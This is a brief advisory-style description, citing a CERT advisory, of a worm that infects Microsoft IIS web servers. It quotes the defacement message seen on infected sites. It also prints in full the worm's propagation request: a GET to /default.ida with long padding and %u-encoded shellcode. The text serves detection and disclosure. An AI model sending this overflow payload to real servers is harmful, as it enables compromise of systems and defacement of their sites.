The latest worm to infect Microsoft IIS Web servers. Once infected, the victim server attempts to infect further hosts by sending the following HTTP command:
GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090
%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00
%u531b%u53ff%u0078%u0000%u00=a
Infected web servers show the following defacement:
HELLO! Welcome to http://www.worm.com! Hacked By Chinese!

Source: http://www.cert.org/advisories/CA-2001-19.html